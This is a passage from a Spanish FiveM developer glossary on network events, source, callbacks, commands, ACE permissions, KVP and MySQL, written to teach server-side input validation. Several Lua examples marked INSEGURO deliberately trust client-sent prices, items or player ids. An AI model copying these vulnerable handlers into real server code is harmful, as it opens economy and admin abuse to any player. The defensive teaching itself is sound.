  • Poner ensure mi_recurso antes que ensure es_extended y culpar a ESX del nil.
  • Arrancar todo con ensure [esx] y dar por hecho que dentro del grupo el orden es el que tú imaginas.
  • Creer que el bloque dependencies reordena el arranque. Solo comprueba que el otro está vivo.

Eventos y permisos

Cómo hablan cliente y servidor, y quién puede qué.

evento

El mecanismo con el que se avisan las partes de FiveM. Un lado dispara un evento con un nombre y unos datos, y quien lo haya registrado reacciona. Es de ida, no devuelve nada.

Hay dos familias que conviene no mezclar. Los eventos LOCALES viajan solo dentro del mismo lado (de un recurso a otro del servidor, o de un recurso a otro del cliente) y se disparan con TriggerEvent. Los eventos de RED cruzan la frontera cliente y servidor, y son los que exigen RegisterNetEvent en el lado que escucha.

Además de los tuyos, FiveM y los frameworks disparan sus propios eventos, y son la manera correcta de engancharte al ciclo de vida. onResourceStart y onResourceStop para tu recurso, playerConnecting y playerDropped en el servidor, esx:playerLoaded o QBCore:Server:OnPlayerLoaded cuando un jugador termina de cargar.

Un evento no devuelve valores. Si necesitas una respuesta (¿tengo saldo?, ¿qué llevo en el inventario?) lo que quieres es un callback, no un evento. Intentar simularlo con dos eventos, uno de ida y otro de vuelta, funciona pero acaba siendo un lío de estado que se te va de las manos.

Ponle prefijo de recurso a tus eventos, siempre. mi_recurso:abrirMenu, no abrirMenu a secas. Los nombres de evento son globales para todo el servidor, y dos recursos que usen el mismo nombre se van a pisar de una forma muy difícil de depurar.

Ejemplo · Eventos locales y eventos del ciclo de vida
-- Evento LOCAL (mismo lado, entre recursos o dentro del tuyo)
AddEventHandler('mi_recurso:log', function(texto)
    print('[log] ' .. texto)
end)
TriggerEvent('mi_recurso:log', 'algo ha pasado')

-- Evento del CICLO DE VIDA del recurso
AddEventHandler('onResourceStop', function(res)
    if res ~= GetCurrentResourceName() then return end
    -- limpia blips, peds, NUI abiertas...
end)

En qué se equivoca todo el mundo

  • Nombres genéricos sin prefijo (open, update, refresh). Chocan con otros recursos tarde o temprano.
  • Esperar que un evento devuelva un valor. Para eso está el callback.
  • Olvidar el onResourceStop y dejar blips, peds o NUI colgando cada vez que reinicias el recurso.
Relacionado RegisterNetEvent, TriggerEvent, callback
RegisterNetEventESXQBCoreQboxoxStandalone

Registra un evento como evento de RED, es decir, permite que llegue desde el otro lado. Sin él, un TriggerServerEvent o un TriggerClientEvent no ejecuta nada y salta el aviso de was not safe for net.

FiveM no deja que cualquier evento cruce la red. Solo los que declares con RegisterNetEvent. Es una lista blanca deliberada, porque abrir un evento a la red significa abrir una puerta desde el ordenador de un jugador hasta tu servidor. La forma moderna registra y maneja de una vez, RegisterNetEvent('nombre', function(...) end), y es la que deberías usar.

Aquí está el punto más importante de todo el glosario, así que léelo dos veces. Un evento de red registrado en el SERVIDOR puede ser disparado por CUALQUIER jugador conectado, en el momento que quiera, con los argumentos que quiera. No solo por tu client.lua. Tu código de cliente no protege nada, porque el atacante no usa tu código de cliente.

De ahí salen las dos reglas que evitan el 90% de las trampas. La primera, no te fíes NUNCA de los datos que llegan en el evento (una cantidad, un precio, un id de jugador, un nombre de item). La segunda, valida siempre contra tu propia fuente de verdad (el config del servidor, la base de datos, el estado que tú controlas) y usa source para saber quién ha llamado.

Y una consecuencia que se olvida. Cuantos menos eventos de red abras, mejor. Si algo puede resolverse con un export del mismo lado o con un statebag, no lo conviertas en un evento de red solo porque es lo primero que se te ocurrió.

Ejemplo · El mismo evento, inseguro y seguro
-- INSEGURO. El servidor hace exactamente lo que le pidan.
RegisterNetEvent('tienda:comprar', function(item, precio)
    local src = source
    local Player = exports.qbx_core:GetPlayer(src)
    exports.qbx_core:RemoveMoney(src, 'cash', precio)   -- precio lo elige el cliente
    exports.ox_inventory:AddItem(src, item, 1)          -- item lo elige el cliente
end)

-- SEGURO. El item y el precio salen del servidor, el cliente solo dice QUÉ quiere.
RegisterNetEvent('tienda:comprar', function(idCatalogo)
    local src = source
    local def = Config.Catalogo[idCatalogo]      -- si no está en el catálogo, no existe
    if not def then return end

    local Player = exports.qbx_core:GetPlayer(src)
    if not Player then return end

    -- ¿está de verdad en la tienda? el servidor lo comprueba, no se lo pregunta al cliente
    local ped = GetPlayerPed(src)
    if #(GetEntityCoords(ped) - Config.Tienda.coords) > 3.0 then return end

    if not exports.qbx_core:RemoveMoney(src, 'cash', def.precio, 'compra-tienda') then return end
    exports.ox_inventory:AddItem(src, def.item, 1)
end)

En qué se equivoca todo el mundo

  • Usar solo AddEventHandler en el lado que recibe. El evento nunca llega y sale el aviso de was not safe for net.
  • Confiar en la cantidad, el precio o el item que manda el cliente. Es el agujero clásico por el que se imprime dinero.
  • Registrar un evento de red en el servidor «solo para pruebas» y dejarlo ahí. Sigue abierto para todo el mundo.
AddEventHandler

Define qué se ejecuta cuando llega un evento. Por sí solo escucha eventos LOCALES. Para escuchar uno que venga por la red hay que registrarlo antes con RegisterNetEvent.

AddEventHandler es el oyente. RegisterNetEvent es el permiso para que ese evento pueda venir de la red. Son cosas distintas, y por eso el patrón clásico son dos líneas, primero RegisterNetEvent y luego AddEventHandler con el mismo nombre. La forma moderna las combina, RegisterNetEvent('nombre', fn), y hace exactamente lo mismo.

Si el evento es local (lo dispara tu propio recurso u otro recurso del mismo lado), AddEventHandler solo es más que suficiente. Es lo que usas para engancharte a onResourceStart, onResourceStop, playerDropped o los eventos internos del framework en el mismo lado.

Devuelve un handler que puedes guardar y quitar con RemoveEventHandler. Rara vez hace falta, pero si registras handlers dentro de un bucle o de una función que se llama varias veces, acabarás con el mismo evento ejecutándose dos, tres o diez veces. Registra siempre en el nivel raíz del archivo.

Y una que muerde. En un handler de servidor, source es válido en la primera parte de la función, pero deja de ser fiable después de un Wait. Cópialo a una variable local en la primera línea y trabaja con ella.

Ejemplo · Local con AddEventHandler, de red con RegisterNetEvent
-- Forma clásica (dos líneas)
RegisterNetEvent('mi_recurso:accion')
AddEventHandler('mi_recurso:accion', function(datos)
    local src = source
    -- ...
end)

-- Forma moderna (equivalente, y la recomendada)
RegisterNetEvent('mi_recurso:accion', function(datos)
    local src = source
    -- ...
end)

-- Evento LOCAL: AddEventHandler solo, sin RegisterNetEvent
AddEventHandler('playerDropped', function(motivo)
    local src = source
    print(('%s se ha ido (%s)'):format(GetPlayerName(src) or '?', motivo))
end)

En qué se equivoca todo el mundo

  • Poner AddEventHandler para un evento que llega por la red y olvidar el RegisterNetEvent. Simplemente no se ejecuta.
  • Registrar handlers dentro de una función que se llama varias veces. El evento acaba disparándose N veces.
  • Usar source después de un Wait dentro del handler. Cópialo a una local en la primera línea.
Ver la guía relacionadaRelacionado RegisterNetEvent, evento, source
TriggerEvent

Dispara un evento LOCAL, dentro del mismo lado. Del servidor al servidor o del cliente al cliente, incluso entre recursos distintos. No cruza la red nunca.

TriggerEvent es el hermano tranquilo de la familia. No sale del proceso en el que estás, así que es rápido y no tiene implicaciones de seguridad frente al jugador. Lo usas para hablar entre tus propios módulos o para avisar a otro recurso del mismo lado, por ejemplo un sistema de logs o un recurso de notificaciones.

Como es local, un TriggerEvent en el cliente lo escucha el cliente y nadie más. Y un TriggerEvent en el servidor lo escuchan los recursos del servidor. Confundirlo con TriggerServerEvent es un error de novato clásico que se manifiesta como un evento que «no llega» cuando en realidad sí llegó, solo que al sitio equivocado.

Aunque no cruce la red, sí cruza recursos. Es decir, cualquier recurso del servidor puede disparar tus eventos locales de servidor. Si tienes un backdoor dentro, eso importa. No es una razón para no usarlo, pero sí para que las acciones sensibles vivan detrás de funciones con comprobaciones, no detrás de un evento local pelado.

Un uso muy habitual es el chat. TriggerEvent('chat:addSuggestion', '/comando', 'ayuda') registra el autocompletado del chat desde el cliente, y no tiene nada que ver con la red.

Ejemplo · TriggerEvent no sale del lado en el que estás
-- server.lua, avisar a otro recurso del MISMO lado
TriggerEvent('mi_logger:registrar', 'compra', src, 500)

-- client.lua, sugerencia de chat (evento local de cliente)
RegisterNetEvent('onClientResourceStart', function(res)
    if res ~= GetCurrentResourceName() then return end
    TriggerEvent('chat:addSuggestion', '/garaje', 'Abre tu garaje', {
        { name = 'id', help = 'ID del vehículo (opcional)' },
    })
end)

En qué se equivoca todo el mundo

  • Usar TriggerEvent cuando querías TriggerServerEvent. El evento «no llega» porque se quedó en el cliente.
  • Disparar un evento local esperando que lo escuchen todos los jugadores. Para eso necesitas TriggerClientEvent desde el servidor.
  • Poner lógica sensible detrás de un evento local de servidor sin comprobaciones, asumiendo que solo tú lo vas a disparar.
Relacionado TriggerServerEvent, TriggerClientEvent, evento
TriggerServerEventESXQBCoreQboxoxStandalone

El cliente envía un evento al servidor. Es el canal por el que el jugador PIDE cosas. Todo lo que viaja por aquí viene del ordenador del jugador y por tanto no es de fiar.

Piensa en TriggerServerEvent como en el formulario de una web. El jugador rellena lo que quiere y le da a enviar. Tu servidor recibe ese formulario, y lo que haga con él es lo que decide si tu economía sobrevive o no. El cliente PIDE, el servidor DECIDE. Es la frase entera de la seguridad en FiveM.

El corolario práctico es que los argumentos que mandes son sugerencias, no hechos. No mandes el precio, mándale al servidor QUÉ quieres comprar y que él mire el precio en su config. No mandes la cantidad de pescado que has pescado, deja que el servidor lleve la cuenta. No mandes tu identificador, el servidor ya sabe quién eres por source.

Cuanto más pequeño sea el mensaje, más difícil es abusar de él. Un evento que solo lleva un identificador de catálogo es mucho más seguro que uno que lleva item, cantidad, precio y descuento, porque el servidor solo tiene que validar una cosa y esa cosa está en una lista cerrada que él controla.

Y no te olvides del ritmo. Un evento de red se puede disparar en bucle. Si tu servidor hace una consulta a la base de datos por cada llamada, alguien puede tumbarte el servidor sin ser especialmente listo. Un cooldown por jugador en el lado del servidor es barato y evita mucho ruido.

Ejemplo · El cliente pide, el servidor cuenta el pescado y pone el precio
-- client.lua, el cliente solo PIDE, y no manda datos "de confianza"
RegisterCommand('vender', function()
    TriggerServerEvent('pesca:vender')   -- ni cantidad ni precio: eso lo sabe el servidor
end, false)

-- server.lua, el servidor decide, valida y aplica un cooldown
local ultimaVenta = {}

RegisterNetEvent('pesca:vender', function()
    local src = source

    local ahora = os.time()
    if ultimaVenta[src] and ahora - ultimaVenta[src] < 2 then return end
    ultimaVenta[src] = ahora

    -- la cantidad la lee el SERVIDOR del inventario real, no del mensaje
    local peces = exports.ox_inventory:GetItemCount(src, 'pescado')
    if peces <= 0 then return end

    if not exports.ox_inventory:RemoveItem(src, 'pescado', peces) then return end
    exports.qbx_core:AddMoney(src, 'cash', peces * Config.PrecioPescado, 'venta-pesca')
end)

AddEventHandler('playerDropped', function()
    ultimaVenta[source] = nil
end)

En qué se equivoca todo el mundo

  • Enviar el precio, la cantidad o el item desde el cliente y usarlo tal cual en el servidor.
  • Mandar el id del jugador dentro del evento. El servidor ya lo tiene en source, y el del mensaje se puede falsear.
  • No poner ningún cooldown en eventos que tocan la base de datos. Se pueden disparar en bucle.
Relacionado RegisterNetEvent, source, server-authoritative
TriggerClientEvent

El servidor envía un evento a un cliente concreto, o a todos. El primer argumento tras el nombre es el destinatario, el id del jugador, o -1 para todos los conectados.

Es el camino de vuelta. El servidor ha decidido algo y avisa al cliente para que lo pinte, abra un menú, reproduzca una animación o cree un blip. Fíjate en la forma, TriggerClientEvent('nombre', destinatario, ...datos). Ese destinatario es lo que lo diferencia de los demás triggers, y equivocarse con él es el fallo más común.

El -1 significa todos los jugadores. Es útil para anuncios globales o para crear un blip que debe ver toda la ciudad, pero abusar de él tiene coste. Cada llamada a -1 con doscientos jugadores conectados son doscientos mensajes por la red, y si además lo pones dentro de un bucle acabas con lag de red que no vas a encontrar mirando resmon.

Para estado que cambia y que muchos deben ver (el motor de un coche, si un jugador está esposado, si una tienda está abierta) hay una herramienta mejor que un TriggerClientEvent a -1, que son los statebags. Se replican solos y sin spamear eventos.

Y recuerda que el cliente que recibe también tiene que registrar el evento con RegisterNetEvent. Si el servidor dispara y en el cliente solo hay un AddEventHandler, no pasa nada y el aviso de was not safe for net saldrá en la consola del cliente (F8), no en la del servidor, que es donde estabas mirando.

Ejemplo · El destinatario va justo después del nombre
-- server.lua
-- a UN jugador
TriggerClientEvent('mi_recurso:notificar', src, 'Compra realizada')

-- a TODOS los conectados
TriggerClientEvent('mi_recurso:anuncio', -1, 'El banco ha sido asaltado')

-- client.lua, el que recibe DEBE registrarlo como evento de red
RegisterNetEvent('mi_recurso:notificar', function(texto)
    lib.notify({ description = texto, type = 'success' })
end)

En qué se equivoca todo el mundo

  • Olvidar el destinatario y escribir TriggerClientEvent('nombre', datos). Entonces datos se interpreta como el jugador destino.
  • Abusar del -1 dentro de un bucle. Es una fuente de lag de red silenciosa.
  • Buscar el error de was not safe for net en la consola del servidor cuando el que falla es el cliente. Mira la F8.
Relacionado TriggerServerEvent, RegisterNetEvent, source
event was not safe for net

El aviso «event X does not exist, or was not safe for net». Significa que alguien disparó un evento por la red hacia un lado que no lo había registrado con RegisterNetEvent.

El mensaje suena a bug oscuro y en realidad es una protección funcionando bien. FiveM solo acepta por la red los eventos que hayas declarado explícitamente como de red. Si no está en esa lista, lo descarta y te avisa. Sin esa lista blanca, cualquier jugador podría disparar cualquier evento interno de cualquier recurso del servidor, y eso sería el fin.

Las causas reales son tres y siempre las mismas. La primera, el lado que recibe usa solo AddEventHandler y le falta el RegisterNetEvent. La segunda, el nombre del evento no coincide exactamente (una mayúscula, un guion, un espacio de más). La tercera, el recurso que registra el evento no está arrancado, o arrancó después del que dispara.

Fíjate en dónde sale el aviso, porque te dice hacia dónde iba el evento. Si sale en la consola del servidor, el que falta el registro es el servidor. Si sale en la F8 del cliente, es el cliente el que no lo registró. Mucha gente se pasa media hora revisando el archivo equivocado por no mirar esto.

Y una lectura menos evidente. Si ves este aviso en tu consola de servidor con un nombre de evento que tú no has escrito nunca, alguien está probando eventos a ciegas contra tu servidor. Es ruido normal en un servidor público, pero conviene saber leerlo.

Ejemplo · El fix es una línea, la lección es más larga
-- MAL: el servidor escucha, pero no ha abierto el evento a la red
AddEventHandler('mi_recurso:accion', function()
    -- nunca se ejecuta si viene de un TriggerServerEvent
end)

-- BIEN: registrado como evento de red (forma corta moderna)
RegisterNetEvent('mi_recurso:accion', function(datos)
    local src = source
    -- ahora sí llega, y ahora sí hay que validar 'datos'
end)

En qué se equivoca todo el mundo

  • Añadir RegisterNetEvent en el lado que DISPARA en vez de en el que ESCUCHA. Va en el que recibe.
  • Nombres que no coinciden al carácter entre el trigger y el registro.
  • El recurso que registra el evento no está arrancado. Comprueba el ensure antes de seguir buscando.
sourceESXQBCoreQboxoxStandalone

La variable global que, dentro de un evento de servidor, contiene el ID del jugador que lo disparó. Es tu única fuente fiable de quién está actuando, porque la pone el servidor y no viaja en el mensaje.

source es especial porque no lo manda el cliente, lo rellena el propio servidor a partir de la conexión. Un jugador puede mentir sobre todo lo que va dentro del evento, pero no puede mentir sobre quién es. Por eso la regla es absoluta. Si tu evento de servidor recibe un id de jugador como argumento y lo usa como si fuera el que llama, tienes un agujero, y no importa lo bonito que sea el resto del código.

Tiene una trampa muy conocida. source es una variable global del contexto del evento, y deja de ser fiable en cuanto tu función cede el control (un Wait, una consulta a base de datos con await, un callback). La costumbre correcta es copiarla a una local en la primerísima línea, local src = source, y no volver a tocar source nunca más.

En el cliente source significa otra cosa distinta. Dentro de un evento de red recibido en el cliente, no representa un jugador sino el remitente del evento, y no debes usarlo para identificar a nadie. La identidad solo tiene sentido en el servidor.

En un RegisterCommand del servidor, el ID del jugador llega como PRIMER parámetro de la función, no como global. Y ahí un 0 significa que el comando lo escribió la consola del servidor, no un jugador. Es un caso que hay que contemplar, sobre todo en comandos de admin.

Ejemplo · source dice quién llama, nunca los argumentos
-- INSEGURO: se cree el id que le mandan
RegisterNetEvent('admin:curar', function(idObjetivo)
    TriggerClientEvent('mi_recurso:curar', idObjetivo)   -- cualquiera cura a cualquiera
end)

-- SEGURO: source dice QUIÉN llama, y el servidor comprueba si puede
RegisterNetEvent('admin:curar', function(idObjetivo)
    local src = source                                   -- cópialo YA
    if not IsPlayerAceAllowed(src, 'command.curar') then return end

    local objetivo = tonumber(idObjetivo)
    if not objetivo or not GetPlayerName(objetivo) then return end

    TriggerClientEvent('mi_recurso:curar', objetivo)
end)

-- La trampa del Wait
RegisterNetEvent('mi_recurso:lento', function()
    local src = source
    Wait(500)
    print(src)      -- correcto
    print(source)   -- ya NO es de fiar
end)

En qué se equivoca todo el mundo

  • Aceptar un id de jugador dentro del evento y tratarlo como si fuera quien llama. Es el agujero de seguridad más repetido de FiveM.
  • Usar source después de un Wait o de una consulta await. Cópialo a una local en la primera línea.
  • Olvidar que en un RegisterCommand de servidor el source 0 es la consola, no un jugador.
callbackESXQBCoreQboxox

El patrón para que el cliente PIDA un dato al servidor y reciba una RESPUESTA. Existe porque los eventos son de ida y no devuelven nada.

Un evento normal es como gritar por la ventana. Dices algo y sigues con tu vida. Pero muchas veces el cliente necesita saber la respuesta antes de continuar (¿tengo saldo para esto?, ¿qué llevo en el maletero?, ¿está ocupada esta casa?). Ahí es donde entra el callback, que es un evento de ida con una vuelta atada.

Cada framework tiene el suyo y son incompatibles entre sí. ESX usa ESX.RegisterServerCallback en el servidor y ESX.TriggerServerCallback en el cliente. QBCore usa QBCore.Functions.CreateCallback y QBCore.Functions.TriggerCallback. ox_lib, que es el estándar moderno en Qbox y ox, usa lib.callback.register y lib.callback.await, y este último es el más cómodo porque es asíncrono y se lee como código secuencial.

Cuidado con la falsa sensación de seguridad. Un callback de servidor recibe argumentos del cliente igual que un evento de red, con la misma falta de garantías. Que la respuesta la calcule el servidor no significa que la pregunta sea de fiar. Valida los argumentos exactamente igual que en un RegisterNetEvent.

Y dos fallos que dejan el juego colgado. Un callback de servidor que en alguna rama no llama a cb(...) deja al cliente esperando para siempre. Y lib.callback.await ejecutado en la carga del recurso, fuera de un hilo o de un evento, también cuelga. Siempre dentro de CreateThread o de un handler.

Ejemplo · El callback informa, la compra la sigue validando el servidor
-- ox_lib (Qbox / ox),el estándar moderno
-- server.lua
lib.callback.register('tienda:puedoPagar', function(source, idCatalogo)
    local def = Config.Catalogo[idCatalogo]   -- valida SIEMPRE lo que llega
    if not def then return false end
    return exports.qbx_core:GetMoney(source, 'cash') >= def.precio
end)

-- client.lua (dentro de un hilo o de un evento, nunca en la carga)
RegisterCommand('comprar', function()
    local puedo = lib.callback.await('tienda:puedoPagar', false, 'agua')
    if puedo then
        TriggerServerEvent('tienda:comprar', 'agua')   -- la compra real la valida el servidor OTRA VEZ
    else
        lib.notify({ description = 'No te llega', type = 'error' })
    end
end, false)

En qué se equivoca todo el mundo

  • Olvidar llamar a cb(...) en alguna rama del callback de servidor. El cliente se queda colgado esperando.
  • Usar el callback como si la respuesta fuese la autorización. La acción real hay que validarla otra vez en el servidor.
  • Llamar a lib.callback.await en la carga del recurso, fuera de un hilo. Cuelga el arranque.
Relacionado evento, TriggerServerEvent, export (exports[...])
CreateThread y Wait

CreateThread lanza una corrutina que corre en paralelo al resto del script, y Wait pausa esa corrutina el número de milisegundos que le digas. Todo bucle infinito lleva un Wait dentro, sin excepciones.

FiveM ejecuta Lua en un solo hilo por recurso. Cuando tu código corre, nada más corre. Por eso un while true sin Wait no ralentiza el juego, lo CONGELA, y si lo has puesto en el servidor congelas la ciudad entera. Wait(0) cede el control hasta el siguiente frame, Wait(500) lo cede medio segundo. La forma clásica CreateThread sigue existiendo como Citizen.CreateThread, y Citizen.Wait como Wait, son alias del mismo mecanismo.

El número que le pongas a Wait es la diferencia entre un recurso que va bien y uno que te come el rendimiento. Un bucle a Wait(0) corre cada frame, que a 60 fps son 60 vueltas por segundo. Eso solo se justifica cuando dibujas algo en pantalla (un marcador, un texto 3D). Para comprobar si el jugador está cerca de una tienda, Wait(500) o Wait(1000) es más que suficiente y nadie va a notar la diferencia.

El patrón que separa a un dev con oficio del resto es el wait adaptativo. Un solo bucle que corre lento por defecto y solo baja a Wait(0) cuando de verdad hace falta pintar algo. Con eso pasas de un recurso a 1.5 ms en resmon a uno a 0.01 ms, y no has cambiado ninguna funcionalidad.

Otra alternativa a los bucles es no tener bucles. Los statebags y los eventos te avisan cuando algo cambia, y ox_lib trae lib.points para lógica por proximidad ya optimizada. Si tu recurso está sondeando el estado del mundo cada frame, casi siempre hay una forma mejor.

Ejemplo · El mismo marcador, de 1.5 ms a 0.01 ms en idle
-- MAL: quema la CPU cada frame para nada
CreateThread(function()
    while true do
        Wait(0)
        local pos = GetEntityCoords(PlayerPedId())
        if #(pos - Config.Tienda) < 2.0 then
            DrawMarker(--[[ ... ]])
        end
    end
end)

-- BIEN: wait adaptativo. Lento de lejos, cada frame solo cuando hay que dibujar
CreateThread(function()
    while true do
        local sleep = 1000
        local pos = GetEntityCoords(PlayerPedId())
        local dist = #(pos - Config.Tienda)

        if dist < 20.0 then
            sleep = 0
            DrawMarker(--[[ ... ]])
            if dist < 2.0 and IsControlJustReleased(0, 38) then
                TriggerServerEvent('tienda:abrir')
            end
        end

        Wait(sleep)
    end
end)

En qué se equivoca todo el mundo

  • Un while true sin Wait dentro. Congela el cliente, o el servidor entero si lo pones ahí.
  • Dejar todo a Wait(0) por costumbre. Es la causa número uno de recursos que aparecen en rojo en resmon.
  • Meter GetEntityCoords o cálculos pesados en un bucle a cada frame cuando bastaba con comprobarlo una vez por segundo.
Relacionado evento, lua54, RegisterCommand
RegisterCommand

Registra un comando de chat (/curar, /coords). Funciona en cliente y en servidor, y dónde lo pongas decide si es seguro o si es un regalo para los tramposos.

La firma es RegisterCommand(nombre, function(source, args, rawCommand) end, restricted). args es una tabla con las palabras que vinieron después del comando, siempre como texto, así que si esperas un número tendrás que pasarlo por tonumber y comprobar que no es nil.

La decisión importante es el lado. Un comando de CLIENTE está bien para cosas inofensivas (imprimir coordenadas, abrir una UI, cambiar un ajuste visual). Pero cualquier comando que dé ventaja (curar, dar dinero, teleportar, spawnear un coche) tiene que vivir en el SERVIDOR, porque un comando de cliente lo puede disparar cualquiera desde su propia consola aunque tú lo hayas escondido.

El tercer parámetro, restricted, es más útil de lo que parece. Si lo pones a true, FiveM comprueba automáticamente el permiso ACE command.nombre antes de ejecutar, y además el comando deja de sugerirse a quien no lo tiene. Aun así, comprobar explícitamente con IsPlayerAceAllowed dentro de la función no sobra, sobre todo si el comando además dispara eventos.

Ojo con el source 0. En un comando de servidor, un source de 0 significa que lo ha escrito la consola del servidor, no un jugador. Si tu comprobación es if not IsPlayerAceAllowed(src, ...) then return end sin más, acabas bloqueando a tu propia consola, que es justo lo contrario de lo que quieres.

Ejemplo · Inofensivo en cliente, con ventaja en servidor y con ACE
-- client.lua, comando inofensivo, en cliente está bien
RegisterCommand('coords', function()
    local c = GetEntityCoords(PlayerPedId())
    print(('vector3(%.2f, %.2f, %.2f)'):format(c.x, c.y, c.z))
end, false)

-- server.lua, comando con ventaja, SIEMPRE en servidor y con ACE
RegisterCommand('curar', function(source, args)
    local src = source
    -- src == 0 es la consola del servidor, que sí puede
    if src > 0 and not IsPlayerAceAllowed(src, 'command.curar') then return end

    local objetivo = tonumber(args[1]) or src
    if objetivo == 0 or not GetPlayerName(objetivo) then return end

    TriggerClientEvent('mi_recurso:curar', objetivo)
end, true)   -- restricted = true: FiveM ya comprueba command.curar por ti

En qué se equivoca todo el mundo

  • Poner un comando de admin en client.lua. Cualquiera puede ejecutarlo desde su consola, esté escondido o no.
  • Usar args[1] como número sin tonumber ni comprobar nil. Un argumento vacío te revienta el script.
  • Bloquear la consola del servidor por no contemplar el caso source igual a 0.
permisos ACE (add_ace, add_principal)

El sistema de permisos nativo de FiveM. add_ace da un permiso a un grupo, add_principal mete a un jugador (por su identificador) dentro de ese grupo. Se comprueba en el servidor con IsPlayerAceAllowed.

Hay dos piezas y la gente confunde cuál es cuál. add_principal une un identificador con un grupo (este jugador es admin). add_ace une un grupo con un permiso (los admin pueden usar command.curar). Necesitas las dos. Si solo pones el ace, nadie está en el grupo. Si solo pones el principal, el grupo no puede hacer nada.

Los identificadores tienen prefijo y hay que usar el que de verdad tenga el jugador. identifier.license es el más fiable porque siempre existe. identifier.discord o identifier.steam solo funcionan si esos servicios están activos en tu servidor. Si copias un ejemplo con identifier.steam y tu servidor no tiene la Steam Web API key configurada, ese principal no vale para nada.

La gran ventaja de ACE frente a los sistemas de admin de cada framework es que vive en el servidor, fuera de la base de datos y fuera del alcance de cualquier script. No hay evento que lo pueda saltar. Por eso los comandos peligrosos deberían comprobar ACE en el servidor, aunque tu framework ya tenga su propio sistema de grupos.

El fallo que se lleva el 90% de los casos es de mecanografía. El nombre del permiso tiene que coincidir EXACTAMENTE con el que comprueba el recurso, mayúsculas incluidas. miRecurso.Admin no es miRecurso.admin. Y los cambios en server.cfg no se aplican solos, hay que reiniciar el servidor o volver a ejecutar el cfg.

Ejemplo · add_ace da el permiso, add_principal mete a la persona
# server.cfg

# 1) El permiso: el grupo admin puede usar /curar
add_ace group.admin command.curar allow

# 2) Quién está en el grupo (usa el identificador que tu servidor SÍ tiene)
add_principal identifier.license:abc123def456... group.admin

# 3) Un permiso propio de un recurso (nombre EXACTO, mayúsculas incluidas)
add_ace group.admin mi_recurso.gestionar allow

# Todos los comandos de golpe (con mucho cuidado)
# add_ace group.admin command allow

En qué se equivoca todo el mundo

  • Poner el add_ace y olvidar el add_principal (o al revés). Hacen falta los dos.
  • Usar identifier.steam cuando tu servidor no tiene Steam activo. Ese principal no coincide con nadie.
  • Editar server.cfg y no reiniciar. Los cambios de ACE no se recargan solos.
KVP (almacenamiento local del cliente)

Key Value Pair. Un almacén clave y valor por recurso que persiste entre sesiones. En el cliente vive en el PC del jugador, así que sirve para preferencias, nunca para datos con valor.

Las natives son SetResourceKvp, SetResourceKvpInt y SetResourceKvpFloat para escribir, GetResourceKvpString, GetResourceKvpInt y GetResourceKvpFloat para leer, y DeleteResourceKvp para borrar. Cada recurso tiene su propio espacio, así que tu clave hud_x no choca con la de otro recurso. Los datos sobreviven a un reinicio del juego, que es justo la gracia.

El caso de uso legítimo es la preferencia del jugador. Dónde ha colocado el HUD, si prefiere el tema claro, si ya vio el tutorial, el volumen de la radio. Cosas que si se pierden no pasa nada y que no tiene sentido guardar en tu base de datos, porque son de esa persona y de ese ordenador.

Lo que NO es KVP, y esto es importante. No es persistencia segura. Es un archivo en el disco del jugador, y el jugador manda en su disco. Guardar ahí dinero, items, un contador de tiempo jugado con recompensa o cualquier cosa que dé ventaja es equivalente a dejar la caja registradora abierta. Eso va a MySQL, en el servidor, y punto.

Existe también una variante de servidor de las mismas natives, que guarda en el almacén del propio servidor. Es útil para un contador o un ajuste tonto que no merece una tabla, pero para cualquier dato de jugador de verdad la respuesta sigue siendo la base de datos.

Ejemplo · KVP para preferencias, MySQL para todo lo que tenga valor
-- client.lua, preferencias del jugador, en SU máquina

-- Guardar la posición del HUD (enteros)
local function guardarHud(x, y)
    SetResourceKvpInt('hud_x', x)
    SetResourceKvpInt('hud_y', y)
end

-- Leer al arrancar (devuelve 0 si nunca se guardó)
local x = GetResourceKvpInt('hud_x')
local y = GetResourceKvpInt('hud_y')

-- Strings y borrado
SetResourceKvp('hud_tema', 'oscuro')
local tema = GetResourceKvpString('hud_tema') or 'claro'
DeleteResourceKvp('hud_tema')

-- NUNCA esto. El jugador manda en su disco.
-- SetResourceKvpInt('mi_dinero', 5000)

En qué se equivoca todo el mundo

  • Guardar dinero, items o progresión con recompensa en KVP del cliente. Es editable por el jugador.
  • Esperar que GetResourceKvpString devuelva algo la primera vez. Devuelve nil, pon siempre un valor por defecto.
  • Confundir GetResourceKvpInt con GetResourceKvpString. Si escribiste con SetResourceKvpInt tienes que leer con el Int.
Relacionado server-authoritative, recurso (resource), oxmysql

Base de datos

Dónde vive lo que no se puede perder.

MySQL y MariaDB

El motor de base de datos donde vive todo lo que tu servidor no puede permitirse perder (dinero, vehículos, inventario, identidades). MariaDB es un fork libre de MySQL y, para FiveM, los dos se comportan igual.

FiveM no trae base de datos. Instalas MySQL o MariaDB aparte (XAMPP o Laragon en local, el paquete del sistema en un VPS), creas una base de datos vacía y ahí importas las tablas que trae tu framework. Tus recursos nunca hablan con el motor directamente, hablan con oxmysql, que hace de puente.

Elijas el que elijas, hay dos ajustes que no son opcionales. El juego de caracteres debe ser utf8mb4, porque es el único que aguanta bien las tildes, la eñe y los emojis que los jugadores meten en nombres y matrículas. Y el motor de almacenamiento debe ser InnoDB, porque es el que soporta transacciones y claves foráneas. MyISAM no soporta transacciones, así que una transferencia de dinero a medias se queda a medias de verdad.

Sobre dónde corre, lo normal y lo sano es que la base de datos esté en la misma máquina que FXServer. Si la pones en un servidor remoto, cada consulta se lleva la latencia de ida y vuelta, y un login que hace ocho consultas seguidas pasa de ser instantáneo a tardar medio segundo.

Ejemplo · Base de datos y usuario dedicado, con utf8mb4
-- Crear la base con el charset correcto desde el principio
CREATE DATABASE fivem
  CHARACTER SET utf8mb4
  COLLATE utf8mb4_unicode_ci;

-- Un usuario propio para el servidor, no root
CREATE USER 'fivem'@'localhost' IDENTIFIED BY 'una_password_larga';
GRANT ALL PRIVILEGES ON fivem.* TO 'fivem'@'localhost';
FLUSH PRIVILEGES;

En qué se equivoca todo el mundo

  • Crear las tablas con MyISAM. Sin transacciones, un fallo a mitad de una transferencia evapora dinero.
  • Dejar el charset en latin1. Los nombres con tildes se guardan rotos y ya no hay forma limpia de arreglarlos.
  • Conectar a una base de datos remota alojada lejos. Cada consulta paga la latencia y el login se arrastra.
  • Exponer el puerto 3306 a internet con el usuario root y sin contraseña fuerte. Es la vía más rápida a que te borren la economía.
oxmysqlESXQBCoreQboxoxStandalone

El conector de base de datos MySQL/MariaDB estándar en FiveM. Es el recurso que permite a tus scripts de servidor guardar y leer datos de forma asíncrona, parametrizada y sin bloquear el hilo del juego.

